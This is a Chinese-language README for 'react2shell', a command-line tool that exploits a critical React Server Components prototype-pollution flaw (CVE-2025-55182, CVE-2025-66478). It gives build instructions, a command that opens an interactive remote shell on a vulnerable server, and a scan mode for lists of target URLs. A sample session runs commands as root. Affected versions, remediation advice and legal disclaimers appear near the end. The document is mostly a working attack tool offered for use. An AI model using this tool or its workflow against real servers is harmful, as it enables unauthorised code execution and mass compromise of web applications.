一款用于利用React Server Components / Server Actions中原型污染漏洞(CVE-2025-55182 和 CVE-2025-66478)的CLI工具,可在易受攻击的服务器上实现远程代码执行(RCE)。
原始PoC:https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
警告:此工具针对一个严重漏洞(CVSS 10.0),该漏洞正在被积极利用。 仅可在您拥有所有权或已获得明确授权的系统上使用。
此工具仅用于教育目的、经授权的安全测试、经许可的渗透测试以及漏洞研究。
作者和贡献者不承担因使用此工具而产生的任何滥用、损害或法律后果的责任。您全权负责确保您的使用符合所有适用的法律、法规和服务条款。
未经许可对系统进行未授权使用在大多数司法管辖区是非法的,并可能导致严厉处罚。
git clone https://github.com/mantvmass/react2shell.git
cd react2shell
cargo build --release
二进制文件将位于 target/release/react2shell(Windows 上为 react2shell.exe)。
从 Releases 页面下载。
react2shell [COMMAND] [SOURCE]
open <URL>:在目标上打开一个交互式反向shell(如果存在漏洞)。scan <FILE>:从文件中扫描目标列表(每行一个URL)以检测漏洞。# 打开交互式shell
react2shell open http://vulnerable-target.com
# 扫描多个目标
react2shell scan targets.txt
# 扫描单个目标
react2shell scan http://127.0.0.1:3000
[email protected]:3000 (js)
$ /help # 显示所有支持的命令
Commands;
/new <URL> ; 切换URL目标 # 切换URL目标
/use exec ; 执行命令并等待输出 # 切换到exec模式(等待结果)
/use exec-no-wait ; 执行命令但不等待 # 不等待输出的exec模式
/use js ; 执行JavaScript代码 # 切换回JavaScript模式
/set timeout <ms> ; 设置命令超时时间(毫秒) # 配置命令超时
/show options ; 显示当前配置 # 显示当前shell设置
/clear ; 清屏 # 清除终端屏幕
/exit or /quit ; 退出shell # 退出交互式shell
Examples;
ls -la # 示例Linux命令
whoami # 显示当前系统用户
console.log('Hello') # 示例JavaScript命令
[email protected]:3000 (js)
$ /use exec # 从JS模式切换到exec模式
[+] 切换shell模式为exec
[email protected]:3000 (exec)
$ whoami # 验证当前执行用户
root # 命令输出
使用React Server Components和App Router的应用程序在运行以下版本时受影响:
以下版本不受影响:
该漏洞存在于React 19.0、19.1.0、19.1.1 和 19.2.0版本中,涉及以下包:
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack强烈建议立即升级到打了补丁的版本,尤其是在生产环境中。
主要修复方法是升级到打了补丁的React和Next.js版本。
对于Next.js应用程序,请使用官方自动化修复工具:
npx fix-react2shell-next
更多信息:vercel-labs/fix-react2shell-next
请参阅官方公告:
本项目仅用于教育和授权安全研究目的。所有使用责任由最终用户承担。